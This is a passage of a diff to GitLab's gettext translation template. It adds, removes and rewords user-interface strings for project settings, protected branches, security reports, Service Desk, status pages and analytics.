-msgid "ProjectSettings|No merge commits are created"
+msgid "ProjectSettings|No merge commits are created."
msgstr ""
msgid "ProjectSettings|Note: the container registry is always visible when a project is public"
@@ -24012,15 +24663,9 @@ msgstr ""
msgid "ProjectSettings|Pages for project documentation."
msgstr ""
-msgid "ProjectSettings|Pipelines"
-msgstr ""
-
msgid "ProjectSettings|Pipelines must succeed"
msgstr ""
-msgid "ProjectSettings|Pipelines need to be configured to enable this feature."
-msgstr ""
-
msgid "ProjectSettings|Private"
msgstr ""
@@ -24051,7 +24696,7 @@ msgstr ""
msgid "ProjectSettings|Security & Compliance for this project"
msgstr ""
-msgid "ProjectSettings|Set the default behavior and availability of this option in merge requests. Changes made are also applied to existing merge requests."
+msgid "ProjectSettings|Set the default behavior of this option in merge requests. Changes to this are also applied to existing merge requests."
msgstr ""
msgid "ProjectSettings|Share code with others outside the project."
@@ -24060,7 +24705,7 @@ msgstr ""
msgid "ProjectSettings|Show default award emojis"
msgstr ""
-msgid "ProjectSettings|Show link to create/view merge request when pushing from the command line"
+msgid "ProjectSettings|Show link to create or view a merge request when pushing from the command line"
msgstr ""
msgid "ProjectSettings|Skipped pipelines are considered successful"
@@ -24081,16 +24726,13 @@ msgstr ""
msgid "ProjectSettings|Submit changes to be merged upstream."
msgstr ""
-msgid "ProjectSettings|The commit message used to apply merge request suggestions"
-msgstr ""
-
-msgid "ProjectSettings|The variables GitLab supports:"
+msgid "ProjectSettings|Supported variables:"
msgstr ""
-msgid "ProjectSettings|These checks must pass before merge requests can be merged"
+msgid "ProjectSettings|The commit message used when applying merge request suggestions. %{link_start}Learn more about suggestions.%{link_end}"
msgstr ""
-msgid "ProjectSettings|This introduces the risk of merging changes that will not pass the pipeline."
+msgid "ProjectSettings|These checks must pass before merge requests can be merged."
msgstr ""
msgid "ProjectSettings|This setting is applied on the server level and can be overridden by an admin."
@@ -24102,12 +24744,15 @@ msgstr ""
msgid "ProjectSettings|This setting will be applied to all projects unless overridden by an admin."
msgstr ""
-msgid "ProjectSettings|This will dictate the commit history when you merge a merge request"
+msgid "ProjectSettings|To enable this feature, configure pipelines. %{link_start}How to configure pipelines for merge requests?%{link_end}"
msgstr ""
msgid "ProjectSettings|Transfer project"
msgstr ""
+msgid "ProjectSettings|Used for every new merge request."
+msgstr ""
+
msgid "ProjectSettings|Users can copy the repository to a new project."
msgstr ""
@@ -24135,10 +24780,10 @@ msgstr ""
msgid "ProjectSettings|What are badges?"
msgstr ""
-msgid "ProjectSettings|When approved for merge, merge requests are queued and pipelines validate the combined results of the source and target branches before merge."
+msgid "ProjectSettings|When pipelines for merge requests are enabled in the CI/CD configuration file, pipelines validate the combined results of the source and target branches. %{link_start}How to configure pipelines for merge requests?%{link_end}"
msgstr ""
-msgid "ProjectSettings|When conflicts arise the user is given the option to rebase"
+msgid "ProjectSettings|When there is a merge conflict, the user is given the option to rebase."
msgstr ""
msgid "ProjectSettings|Wiki"
@@ -24672,6 +25317,15 @@ msgstr ""
msgid "ProtectedBranch|%{wildcards_link_start}Wildcards%{wildcards_link_end} such as %{code_tag_start}*-stable%{code_tag_end} or %{code_tag_start}production/*%{code_tag_end} are supported."
msgstr ""
+msgid "ProtectedBranch|Allow force push"
+msgstr ""
+
+msgid "ProtectedBranch|Allow force push for all users with push access."
+msgstr ""
+
+msgid "ProtectedBranch|Allow force push:"
+msgstr ""
+
msgid "ProtectedBranch|Allowed to merge"
msgstr ""
@@ -24693,7 +25347,7 @@ msgstr ""
msgid "ProtectedBranch|Code owner approval"
msgstr ""
-msgid "ProtectedBranch|Does not apply to users allowed to push."
+msgid "ProtectedBranch|Does not apply to users allowed to push. Optional sections are not enforced."
msgstr ""
msgid "ProtectedBranch|Protect"
@@ -24714,6 +25368,9 @@ msgstr ""
msgid "ProtectedBranch|There are currently no protected branches, protect a branch with the form above."
msgstr ""
+msgid "ProtectedBranch|Toggle allow force push"
+msgstr ""
+
msgid "ProtectedBranch|Toggle code owner approval"
msgstr ""
@@ -24888,7 +25545,7 @@ msgstr ""
msgid "PushRules|Restrict push operations for this project."
msgstr ""
-msgid "PushRules|Save Push Rules"
+msgid "PushRules|Save push rules"
msgstr ""
msgid "PushRules|Select push rules"
@@ -25077,7 +25734,7 @@ msgstr ""
msgid "Reduce this project’s visibility?"
msgstr ""
-msgid "Reference:"
+msgid "Reference"
msgstr ""
msgid "References"
@@ -25244,7 +25901,7 @@ msgstr ""
msgid "Releases are based on Git tags and mark specific points in a project's development history. They can contain information about the type of changes and can also deliver binaries, like compiled versions of your software."
msgstr ""
-msgid "Releases are based on Git tags. We recommend tags that use semantic versioning, for example %{codeStart}v1.0%{codeEnd}, %{codeStart}v2.0-pre%{codeEnd}."
+msgid "Releases are based on Git tags. We recommend tags that use semantic versioning, for example %{codeStart}v1.0.0%{codeEnd}, %{codeStart}v2.1.0-pre%{codeEnd}."
msgstr ""
msgid "Releases documentation"
@@ -25256,7 +25913,7 @@ msgstr ""
msgid "Release|Something went wrong while creating a new release"
msgstr ""
-msgid "Release|Something went wrong while getting the release details"
+msgid "Release|Something went wrong while getting the release details."
msgstr ""
msgid "Release|Something went wrong while saving the release details"
@@ -25280,6 +25937,9 @@ msgstr ""
msgid "Remove Zoom meeting"
msgstr ""
+msgid "Remove all approvals in a merge request when new commits are pushed to its source branch."
+msgstr ""
+
msgid "Remove all or specific assignee(s)"
msgstr ""
@@ -25328,9 +25988,6 @@ msgstr ""
msgid "Remove from batch"
msgstr ""
-msgid "Remove from board"
-msgstr ""
-
msgid "Remove from epic"
msgstr ""
@@ -25577,6 +26234,9 @@ msgstr ""
msgid "Reported %{timeAgo} by %{reportedBy}"
msgstr ""
+msgid "Reported by"
+msgstr ""
+
msgid "Reported by %{reporter}"
msgstr ""
@@ -25624,7 +26284,7 @@ msgstr ""
msgid "Reports|An error occurred while loading report"
msgstr ""
-msgid "Reports|Class"
+msgid "Reports|Base report parsing error:"
msgstr ""
msgid "Reports|Classname"
@@ -25650,6 +26310,12 @@ msgstr[3] ""
msgid "Reports|Failure"
msgstr ""
+msgid "Reports|Filename"
+msgstr ""
+
+msgid "Reports|Head report parsing error:"
+msgstr ""
+
msgid "Reports|Identifier"
msgstr ""
@@ -25776,6 +26442,9 @@ msgstr ""
msgid "Repository check was triggered."
msgstr ""
+msgid "Repository checks"
+msgstr ""
+
msgid "Repository cleanup"
msgstr ""
@@ -25872,6 +26541,9 @@ msgstr ""
msgid "Requests to these domain(s)/address(es) on the local network will be allowed when local requests from hooks and services are not allowed. IP ranges such as 1:0:0:0:0:0:0:0/124 or 127.0.0.0/28 are supported. Domain wildcards are not supported currently. Use comma, semicolon, or newline to separate multiple entries. The allowlist can hold a maximum of 1000 entries. Domains should use IDNA encoding. Ex: example.com, 192.168.1.1, 127.0.0.0/28, xn--itlab-j1a.com."
msgstr ""
+msgid "Require additional authentication for administrative tasks"
+msgstr ""
+
msgid "Require admin approval for new sign-ups"
msgstr ""
@@ -26188,7 +26860,10 @@ msgstr ""
msgid "Revoked project access token %{project_access_token_name}!"
msgstr ""
-msgid "RightSidebar|Issue email: %{copyText}"
+msgid "RightSidebar|Copy email address"
+msgstr ""
+
+msgid "RightSidebar|Issue email"
msgstr ""
msgid "RightSidebar|adding a"
@@ -26332,6 +27007,9 @@ msgstr ""
msgid "Runners|Revision"
msgstr ""
+msgid "Runners|Runner #%{runner_id}"
+msgstr ""
+
msgid "Runners|Shared"
msgstr ""
@@ -26365,9 +27043,6 @@ msgstr ""
msgid "Running"
msgstr ""
-msgid "Running…"
-msgstr ""
-
msgid "Runs a number of housekeeping tasks within the current repository, such as compressing file revisions and removing unreachable objects."
msgstr ""
@@ -26464,6 +27139,9 @@ msgstr ""
msgid "Save comment"
msgstr ""
+msgid "Save deploy freeze"
+msgstr ""
+
msgid "Save password"
msgstr ""
@@ -26482,6 +27160,9 @@ msgstr ""
msgid "Saving project."
msgstr ""
+msgid "Scan Policies"
+msgstr ""
+
msgid "Scanner"
msgstr ""
@@ -26506,9 +27187,6 @@ msgstr ""
msgid "Schedules to merge this merge request (%{strategy})."
msgstr ""
-msgid "Scheduling"
-msgstr ""
-
msgid "Scheduling Pipelines"
msgstr ""
@@ -26560,6 +27238,9 @@ msgstr ""
msgid "Search an environment spec"
msgstr ""
+msgid "Search assignees"
+msgstr ""
+
msgid "Search authors"
msgstr ""
@@ -26611,6 +27292,9 @@ msgstr ""
msgid "Search forks"
msgstr ""
+msgid "Search iterations"
+msgstr ""
+
msgid "Search labels"
msgstr ""
@@ -26620,6 +27304,9 @@ msgstr ""
msgid "Search milestones"
msgstr ""
+msgid "Search or create tag"
+msgstr ""
+
msgid "Search or filter results..."
msgstr ""
@@ -26847,6 +27534,9 @@ msgstr ""
msgid "SecurityApprovals|Requires approval for vulnerabilities of Critical, High, or Unknown severity. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
+msgid "SecurityConfiguration|%{featureName} merge request creation mutation failed"
+msgstr ""
+
msgid "SecurityConfiguration|An error occurred while creating the merge request."
msgstr ""
@@ -26922,13 +27612,19 @@ msgstr ""
msgid "SecurityConfiguration|You can quickly enable all security scanning tools by enabling %{linkStart}Auto DevOps%{linkEnd}."
msgstr ""
-msgid "SecurityReports|%{firstProject} and %{secondProject}"
+msgid "SecurityOrchestration|A security policy project can be used enforce policies for a given project, group, or instance. It allows you to speficy security policies that are important to you and enforce them with every commit."
msgstr ""
-msgid "SecurityReports|%{firstProject}, %{secondProject}, and %{rest}"
+msgid "SecurityOrchestration|Create a policy"
+msgstr ""
+
+msgid "SecurityOrchestration|Security policy project"
+msgstr ""
+
+msgid "SecurityReports|%{firstProject} and %{secondProject}"
msgstr ""
-msgid "SecurityReports|Add a project to your dashboard"
+msgid "SecurityReports|%{firstProject}, %{secondProject}, and %{rest}"
msgstr ""
msgid "SecurityReports|Add or remove projects to monitor in the security area. Projects included in this list will have their results displayed in the security dashboard and vulnerability report."
@@ -26937,10 +27633,10 @@ msgstr ""
msgid "SecurityReports|Add projects"
msgstr ""
-msgid "SecurityReports|Add projects to your group"
+msgid "SecurityReports|All"
msgstr ""
-msgid "SecurityReports|All"
+msgid "SecurityReports|Although it's rare to have no vulnerabilities, it can happen. Check your settings to make sure you've set up your dashboard correctly."
msgstr ""
msgid "SecurityReports|Change status"
@@ -26955,6 +27651,9 @@ msgstr ""
msgid "SecurityReports|Comment edited on '%{vulnerabilityName}'"
msgstr ""
+msgid "SecurityReports|Configure security testing"
+msgstr ""
+
msgid "SecurityReports|Create Jira issue"
msgstr ""
@@ -27012,16 +27711,28 @@ msgstr ""
msgid "SecurityReports|Learn more about setting up your dashboard"
msgstr ""
-msgid "SecurityReports|Monitor vulnerabilities in your code"
+msgid "SecurityReports|Manage and track vulnerabilities identified in projects within your group. Vulnerabilities in projects are shown here when security testing is configured."
msgstr ""
-msgid "SecurityReports|Monitored projects"
+msgid "SecurityReports|Manage and track vulnerabilities identified in your project. Vulnerabilities are shown here when security testing is configured."
msgstr ""
-msgid "SecurityReports|More info"
+msgid "SecurityReports|Manage and track vulnerabilities identified in your selected projects. Vulnerabilities for selected projects with security testing configured are shown here."
+msgstr ""
+
+msgid "SecurityReports|Monitor vulnerabilities in all of your projects"
msgstr ""
-msgid "SecurityReports|More information"
+msgid "SecurityReports|Monitor vulnerabilities in your group"
+msgstr ""
+
+msgid "SecurityReports|Monitor vulnerabilities in your project"
+msgstr ""
+
+msgid "SecurityReports|Monitored projects"
+msgstr ""
+
+msgid "SecurityReports|More info"
msgstr ""
msgid "SecurityReports|No activity"
@@ -27087,15 +27798,6 @@ msgstr ""
msgid "SecurityReports|Status"
msgstr ""
-msgid "SecurityReports|The security dashboard displays the latest security findings for projects you wish to monitor. Add projects to your group to view their vulnerabilities here."
-msgstr ""
-
-msgid "SecurityReports|The security dashboard displays the latest security findings for projects you wish to monitor. Select \"Edit dashboard\" to add and remove projects."
-msgstr ""
-
-msgid "SecurityReports|The security dashboard displays the latest security report. Use it to find and fix vulnerabilities."
-msgstr ""
-
msgid "SecurityReports|There was an error adding the comment."
msgstr ""
@@ -27147,9 +27849,6 @@ msgstr ""
msgid "SecurityReports|While it's rare to have no vulnerabilities for your pipeline, it can happen. In any event, we ask that you double check your settings to make sure all security scanning jobs have passed successfully."
msgstr ""
-msgid "SecurityReports|While it's rare to have no vulnerabilities, it can happen. In any event, we ask that you double check your settings to make sure you've set up your dashboard correctly."
-msgstr ""
-
msgid "SecurityReports|With issues"
msgstr ""
@@ -27159,9 +27858,6 @@ msgstr ""
msgid "SecurityReports|You must sign in as an authorized user to see this report"
msgstr ""
-msgid "Security|Policies"
-msgstr ""
-
msgid "See GitLab's %{password_policy_guidelines}"
msgstr ""
@@ -27198,6 +27894,9 @@ msgstr ""
msgid "Select Stack"
msgstr ""
+msgid "Select a branch"
+msgstr ""
+
msgid "Select a file from the left sidebar to begin editing. Afterwards, you'll be able to commit your changes."
msgstr ""
@@ -27207,7 +27906,7 @@ msgstr ""
msgid "Select a label"
msgstr ""
-msgid "Select a namespace to fork the project"
+msgid "Select a milestone"
msgstr ""
msgid "Select a new namespace"
@@ -27237,9 +27936,15 @@ msgstr ""
msgid "Select all"
msgstr ""
+msgid "Select an assignee"
+msgstr ""
+
msgid "Select an existing Kubernetes cluster or create a new one."
msgstr ""
+msgid "Select an iteration"
+msgstr ""
+
msgid "Select assignee"
msgstr ""
@@ -27294,9 +27999,6 @@ msgstr ""
msgid "Select projects"
msgstr ""
-msgid "Select required regulatory standard."
-msgstr ""
-
msgid "Select reviewer(s)"
msgstr ""
@@ -27390,6 +28092,9 @@ msgstr ""
msgid "SelfMonitoring|Self monitoring project has been successfully deleted."
msgstr ""
+msgid "Send"
+msgstr ""
+
msgid "Send a single email notification to Owners and Maintainers for new alerts."
msgstr ""
@@ -27528,19 +28233,43 @@ msgstr ""
msgid "Service Desk allows people to create issues in your GitLab instance without their own user account. It provides a unique email address for end users to create issues in a project. Replies can be sent either through the GitLab interface or by email. End users only see threads through email."
msgstr ""
-msgid "Service Desk is enabled but not yet active"
+msgid "Service Templates"
+msgstr ""
+
+msgid "Service URL"
msgstr ""
-msgid "Service Desk is not enabled"
+msgid "ServiceDesk|Enable Service Desk"
msgstr ""
-msgid "Service Desk is not supported"
+msgid "ServiceDesk|For help setting up the Service Desk for your instance, please contact an administrator."
msgstr ""
-msgid "Service Templates"
+msgid "ServiceDesk|Issues created from Service Desk emails appear here. Each comment becomes part of the email conversation."
msgstr ""
-msgid "Service URL"
+msgid "ServiceDesk|Issues created from Service Desk emails will appear here. Each comment becomes part of the email conversation."
+msgstr ""
+
+msgid "ServiceDesk|Service Desk is enabled but not yet active"
+msgstr ""
+
+msgid "ServiceDesk|Service Desk is not enabled"
+msgstr ""
+
+msgid "ServiceDesk|Service Desk is not supported"
+msgstr ""
+
+msgid "ServiceDesk|To activate Service Desk on this instance, an instance administrator must first set up incoming email."
+msgstr ""
+
+msgid "ServiceDesk|To enable Service Desk on this instance, an instance administrator must first set up incoming email."
+msgstr ""
+
+msgid "ServiceDesk|Use Service Desk to connect with your users and offer customer support through email right inside GitLab"
+msgstr ""
+
+msgid "ServiceDesk|Your users can send emails to this address:"
msgstr ""
msgid "Session ID"
@@ -27642,6 +28371,9 @@ msgstr ""
msgid "Set the milestone to %{milestone_reference}."
msgstr ""
+msgid "Set the number of necessary approvals and define a list of approvers needed for every merge request in a project."
+msgstr ""
+
msgid "Set the timeout in seconds to send a secondary node status to the primary and IPs allowed for the secondary nodes."
msgstr ""
@@ -27696,7 +28428,7 @@ msgstr ""
msgid "SetPasswordToCloneLink|set a password"
msgstr ""
-msgid "SetStatusModal|\"Busy\" will be shown next to your name"
+msgid "SetStatusModal|A busy indicator is shown next to your name and avatar."
msgstr ""
msgid "SetStatusModal|Add status emoji"
@@ -27708,6 +28440,9 @@ msgstr ""
msgid "SetStatusModal|Clear status"
msgstr ""
+msgid "SetStatusModal|Clear status after"
+msgstr ""
+
msgid "SetStatusModal|Edit status"
msgstr ""
@@ -27729,6 +28464,9 @@ msgstr ""
msgid "SetStatusModal|What's your status?"
msgstr ""
+msgid "SetStatusModal|Your status resets on %{date}."
+msgstr ""
+
msgid "Sets %{epic_ref} as parent epic."
msgstr ""
@@ -27938,9 +28676,15 @@ msgstr[3] ""
msgid "Showing %{limit} of %{total_count} issues. "
msgstr ""
+msgid "Showing %{pageSize} of %{total} %{issuableType}"
+msgstr ""
+
msgid "Showing %{pageSize} of %{total} issues"
msgstr ""
+msgid "Showing all epics"
+msgstr ""
+
msgid "Showing all issues"
msgstr ""
@@ -27959,6 +28703,9 @@ msgstr ""
msgid "Side-by-side"
msgstr ""
+msgid "Sidebar|%{name}: %{value}"
+msgstr ""
+
msgid "Sidebar|Assign health status"
msgstr ""
@@ -28199,6 +28946,9 @@ msgstr ""
msgid "Someone edited this merge request at the same time you did. Please refresh the page to see changes."
msgstr ""
+msgid "Someone edited this test case at the same time you did. The description has been updated and you will need to make your changes again."
+msgstr ""
+
msgid "Something went wrong"
msgstr ""
@@ -28877,13 +29627,13 @@ msgstr ""
msgid "Status: %{title}"
msgstr ""
-msgid "StatusPage|AWS Secret access key"
+msgid "StatusPage|AWS %{docsLink}"
msgstr ""
-msgid "StatusPage|AWS access key ID"
+msgid "StatusPage|AWS Secret access key"
msgstr ""
-msgid "StatusPage|AWS documentation"
+msgid "StatusPage|AWS access key ID"
msgstr ""
msgid "StatusPage|AWS region"
@@ -28898,9 +29648,6 @@ msgstr ""
msgid "StatusPage|Configure file storage settings to link issues in this project to an external status page."
msgstr ""
-msgid "StatusPage|For help with configuration, visit %{docsLink}"
-msgstr ""
-
msgid "StatusPage|S3 Bucket name"
msgstr ""
@@ -28913,7 +29660,7 @@ msgstr ""
msgid "StatusPage|Status page frontend documentation"
msgstr ""
-msgid "StatusPage|To publish incidents to an external status page, GitLab will store a JSON file in your Amazon S3 account in a location accessible to your external status page service. Make sure to also set up %{docsLink}"
+msgid "StatusPage|To publish incidents to an external status page, GitLab stores a JSON file in your Amazon S3 account at a location that your external status page service can access. Make sure to also set up %{docsLink}"
msgstr ""
msgid "StatusPage|configuration documentation"
@@ -29003,9 +29750,6 @@ msgstr ""
msgid "Submit"
msgstr ""
-msgid "Submit %{humanized_resource_name}"
-msgstr ""
-
msgid "Submit a review"
msgstr ""
@@ -29021,9 +29765,6 @@ msgstr ""
msgid "Submit feedback"
msgstr ""
-msgid "Submit issue"
-msgstr ""
-
msgid "Submit review"
msgstr ""
@@ -29081,9 +29822,6 @@ msgstr ""
msgid "SubscriptionTable|Add seats"
msgstr ""
-msgid "SubscriptionTable|An error occurred while loading billable members list"
-msgstr ""
-
msgid "SubscriptionTable|An error occurred while loading the subscription details."
msgstr ""
@@ -29713,6 +30451,13 @@ msgstr ""
msgid "Test coverage parsing"
msgstr ""
+msgid "Test coverage value for this pipeline was calculated by the coverage value of %d job."
+msgid_plural "Test coverage value for this pipeline was calculated by averaging the resulting coverage values of %d jobs."
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "Test coverage: %d hit"
msgid_plural "Test coverage: %d hits"
msgstr[0] ""
@@ -29874,9 +30619,6 @@ msgstr[3] ""
msgid "The Advanced Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
msgstr ""
-msgid "The CSV export will be created in the background. Once finished, it will be sent to %{strong_open}%{email}%{strong_close} in an attachment."
-msgstr ""
-
msgid "The Compliance Dashboard gives you the ability to see a group's merge request activity by providing a high-level view for all projects in the group."
msgstr ""
@@ -29949,6 +30691,9 @@ msgstr ""
msgid "The current user is not authorized to access the job log."
msgstr ""
+msgid "The data in this pipeline is too old to be rendered as a graph. Please check the Jobs tab to access historical data."
+msgstr ""
+
msgid "The data source is connected, but there is no data to display. %{documentationLink}"
msgstr ""
@@ -29976,6 +30721,9 @@ msgstr ""
msgid "The download link will expire in 24 hours."
msgstr ""
+msgid "The environment tier must be one of %{environment_tiers}."
+msgstr ""
+
msgid "The errors we encountered were:"
msgstr ""
@@ -29988,6 +30736,9 @@ msgstr ""
msgid "The file name should have a .yml extension"
msgstr ""
+msgid "The finding is not a vulnerability because it is part of a test or is test data."
+msgstr ""
+
msgid "The following %{user} can also merge into this branch: %{branch}"
msgstr ""
@@ -30052,6 +30803,9 @@ msgstr ""
msgid "The import will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
+msgid "The interval must be one of %{intervals}."
+msgstr ""
+
msgid "The invitation could not be accepted."
msgstr ""
@@ -30112,6 +30866,9 @@ msgstr ""
msgid "The merge request can now be merged."
msgstr ""
+msgid "The metric must be one of %{metrics}."
+msgstr ""
+
msgid "The name \"%{name}\" is already taken in this directory."
msgstr ""
@@ -30184,6 +30941,9 @@ msgstr ""
msgid "The regular expression used to find test coverage output in the job log. For example, use %{regex} for Simplecov (Ruby). Leave blank to disable."
msgstr ""
+msgid "The remote mirror URL is invalid."
+msgstr ""
+
msgid "The remote mirror took to long to complete."
msgstr ""
@@ -30235,6 +30995,9 @@ msgstr ""
msgid "The staging stage shows the time between merging the MR and deploying code to the production environment. The data will be automatically added once you deploy to production for the first time."
msgstr ""
+msgid "The start date must be ealier than the end date."
+msgstr ""
+
msgid "The status of the table below only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
msgstr ""
@@ -30283,6 +31046,12 @@ msgstr ""
msgid "The visualization will appear in this tab when the CI/CD configuration file is populated with valid syntax."
msgstr ""
+msgid "The vulnerability is known, and has not been remediated or mitigated, but is considered to be an acceptable business risk."
+msgstr ""
+
+msgid "The vulnerability is known, and has not been remediated or mitigated, but is considered to be in a part of the application that will not be updated."
+msgstr ""
+
msgid "The vulnerability is no longer detected. Verify the vulnerability has been fixed or removed before changing its status."
msgstr ""
@@ -30310,6 +31079,9 @@ msgstr ""
msgid "There are no SSH keys with access to your account."
msgstr ""
+msgid "There are no abuse reports!"
+msgstr ""
+
msgid "There are no archived projects yet"
msgstr ""
@@ -30343,9 +31115,6 @@ msgstr ""
msgid "There are no issues to show"
msgstr ""
-msgid "There are no issues to show."
-msgstr ""
-
msgid "There are no issues with the selected labels"
msgstr ""
@@ -30589,6 +31358,9 @@ msgstr ""
msgid "There was an error when subscribing to this label."
msgstr ""
+msgid "There was an error when trying to sync your license. Please verify that your instance is using an active license key."
+msgstr ""
+
msgid "There was an error when unsubscribing from this label."
msgstr ""
@@ -30727,7 +31499,7 @@ msgstr ""
msgid "This chart could not be displayed"
msgstr ""
-msgid "This comment has changed since you started editing, please review the %{startTag}updated comment%{endTag} to ensure information is not lost."
+msgid "This comment changed after you started editing it. Review the %{startTag}updated comment%{endTag} to ensure information is not lost."
msgstr ""
msgid "This commit is part of merge request %{link_to_merge_request}. Comments created here will be created in the context of that merge request."
@@ -30811,6 +31583,9 @@ msgstr ""
msgid "This group"
msgstr ""
+msgid "This group can't be removed because it is linked to a subscription. To remove this group, %{linkStart}link the subscription%{linkEnd} with a different group."
+msgstr ""
+
msgid "This group cannot be invited to a project inside a group with enforced SSO"
msgstr ""
@@ -30820,6 +31595,9 @@ msgstr ""
msgid "This group has been scheduled for permanent removal on %{date}"
msgstr ""
+msgid "This group is linked to a subscription"
+msgstr ""
+
msgid "This group, including all subgroups, projects and git repositories, will be reachable from only the specified IP address ranges."
msgstr ""
@@ -30832,6 +31610,9 @@ msgstr ""
msgid "This is a \"Ghost User\", created to hold all issues authored by users that have since been deleted. This user cannot be removed."
msgstr ""
+msgid "This is a Jira user."
+msgstr ""
+
msgid "This is a Premium feature"
msgstr ""
@@ -31138,9 +31919,6 @@ msgstr ""
msgid "This will remove the fork relationship between this project and other projects in the fork network."
msgstr ""
-msgid "Those emails automatically become issues (with the comments becoming the email conversation) listed here."
-msgstr ""
-
msgid "Thread to reply to cannot be found"
msgstr ""
@@ -31237,9 +32015,6 @@ msgstr ""
msgid "ThreatMonitoring|The firewall is not installed or has been disabled. To view this data, ensure the web application firewall is installed and enabled for your cluster."
msgstr ""
-msgid "ThreatMonitoring|The graph below is an overview of traffic coming to your application as tracked by the Web Application Firewall (WAF). View the docs for instructions on how to access the WAF logs to see what type of malicious traffic is trying to access your app. The docs link is also accessible by clicking the \"?\" icon next to the title below."
-msgstr ""
-
msgid "ThreatMonitoring|There was an error displaying the alerts. Confirm your endpoint's configuration details to ensure alerts appear."
msgstr ""
@@ -31542,6 +32317,15 @@ msgstr ""
msgid "To GitLab"
msgstr ""
+msgid "To accept this invitation, create an account or sign in."
+msgstr ""
+
+msgid "To accept this invitation, sign in or create an account."
+msgstr ""
+
+msgid "To accept this invitation, sign in."
+msgstr ""
+
msgid "To access this domain create a new DNS record"
msgstr ""
@@ -31584,9 +32368,6 @@ msgstr ""
msgid "To get started, click the link below to confirm your account."
msgstr ""
-msgid "To get started, link this page to your Jaeger server, or find out how to %{link_start_tag}install Jaeger%{link_end_tag}"
-msgstr ""
-
msgid "To get started, please enter your Gitea Host URL and a %{link_to_personal_token}."
msgstr ""
@@ -31614,7 +32395,7 @@ msgstr ""
msgid "To only use CI/CD features for an external repository, choose %{strong_open}CI/CD for external repo%{strong_close}."
msgstr ""
-msgid "To open Jaeger and easily view tracing from GitLab, link the %{link} page to your server"
+msgid "To open Jaeger from GitLab to view tracing from the %{link} page, add a URL to your Jaeger server."
msgstr ""
msgid "To personalize your GitLab experience, we'd like to know a bit more about you. We won't share this information with anyone."
@@ -31719,6 +32500,9 @@ msgstr ""
msgid "Toggle focus mode"
msgstr ""
+msgid "Toggle keyboard shortcuts help dialog"
+msgstr ""
+
msgid "Toggle navigation"
msgstr ""
@@ -31918,10 +32702,10 @@ msgstr ""
msgid "Trials|You can apply your trial to a new group or an existing group."
msgstr ""
-msgid "Trials|You won't get a free trial right now but you can always resume this process by clicking on your avatar and choosing 'Start a free trial'"
+msgid "Trials|You won't get a free trial right now but you can always resume this process by selecting your avatar and choosing 'Start an Ultimate trial'"
msgstr ""
-msgid "Trials|Your trial ends on %{boldStart}%{trialEndDate}%{boldEnd}. We hope you are enjoying GitLab %{planName}. To continue using GitLab %{planName} after your trial ends, you will need to buy a subscription. You can also choose GitLab Premium if its features are sufficient for your needs."
+msgid "Trials|Your trial ends on %{boldStart}%{trialEndDate}%{boldEnd}. We hope you’re enjoying the features of GitLab %{planName}. To keep those features after your trial ends, you’ll need to buy a subscription. (You can also choose GitLab Premium if it meets your needs.)"
msgstr ""
msgid "Trial|Company name"
@@ -32056,9 +32840,6 @@ msgstr ""
msgid "Turn on %{strongStart}usage ping%{strongEnd} to activate analysis of user activity, known as %{docLinkStart}Cohorts%{docLinkEnd}."
msgstr ""
-msgid "Turn on Service Desk"
-msgstr ""
-
msgid "Turn on usage ping"
msgstr ""
@@ -32113,6 +32894,12 @@ msgstr ""
msgid "URL"
msgstr ""
+msgid "URL cannot be blank"
+msgstr ""
+
+msgid "URL is invalid"
+msgstr ""
+
msgid "URL is required"
msgstr ""
@@ -32515,7 +33302,7 @@ msgstr ""
msgid "Upgrade your plan to enable this feature of the Jira Integration."
msgstr ""
-msgid "Upgrade your plan to improve Merge Requests."
+msgid "Upgrade your plan to improve merge requests."
msgstr ""
msgid "Upload"
@@ -32524,6 +33311,9 @@ msgstr ""
msgid "Upload CSV file"
msgstr ""
+msgid "Upload File"
+msgstr ""
+
msgid "Upload License"
msgstr ""
@@ -32620,6 +33410,9 @@ msgstr ""
msgid "UsageQuota|Learn more about usage quotas"
msgstr ""
+msgid "UsageQuota|Other Storage"
+msgstr ""
+
msgid "UsageQuota|Packages"
msgstr ""
@@ -32818,9 +33611,6 @@ msgstr ""
msgid "Use .gitlab-ci.yml"
msgstr ""
-msgid "Use Service Desk to connect with your users (e.g. to offer customer support) through email right inside GitLab"
-msgstr ""
-
msgid "Use a one-time password authenticator on your mobile device or computer to enable two-factor authentication (2FA)."
msgstr ""
@@ -32872,6 +33662,9 @@ msgstr ""
msgid "User %{username} was successfully removed."
msgstr ""
+msgid "User %{user} was removed from %{group}."
+msgstr ""
+
msgid "User ID"
msgstr ""
@@ -32917,7 +33710,10 @@ msgstr ""
msgid "User was successfully created."
msgstr ""
-msgid "User was successfully removed from group and any subresources."
+msgid "User was successfully removed from group and any subgroups and projects."
+msgstr ""
+
+msgid "User was successfully removed from group."
msgstr ""
msgid "User was successfully removed from project."
@@ -33145,9 +33941,6 @@ msgstr ""
msgid "Users requesting access to"
msgstr ""
-msgid "Users requesting access to %{strong_start}%{project_name}%{strong_end}"
-msgstr ""
-
msgid "Users were successfully added."
msgstr ""
@@ -33214,7 +34007,22 @@ msgstr ""
msgid "ValueStreamAnalyticsStage|We don't have enough data to show this stage."
msgstr ""
-msgid "ValueStreamAnalytics|%{days}d"
+msgid "ValueStreamAnalytics|%{value}M"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}d"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}h"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}m"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}w"
+msgstr ""
+
+msgid "ValueStreamAnalytics|&lt;1m"
msgstr ""
msgid "ValueStreamAnalytics|Median time from first commit to issue closed."
@@ -33223,6 +34031,12 @@ msgstr ""
msgid "ValueStreamAnalytics|Median time from issue created to issue closed."
msgstr ""
+msgid "ValueStreamEvent|Start"
+msgstr ""
+
+msgid "ValueStreamEvent|Stop"
+msgstr ""
+
msgid "ValueStream|The Default Value Stream cannot be deleted"
msgstr ""
@@ -33378,9 +34192,15 @@ msgstr ""
msgid "View log"
msgstr ""
+msgid "View logs"
+msgstr ""
+
msgid "View merge request"
msgstr ""
+msgid "View on %{url}"
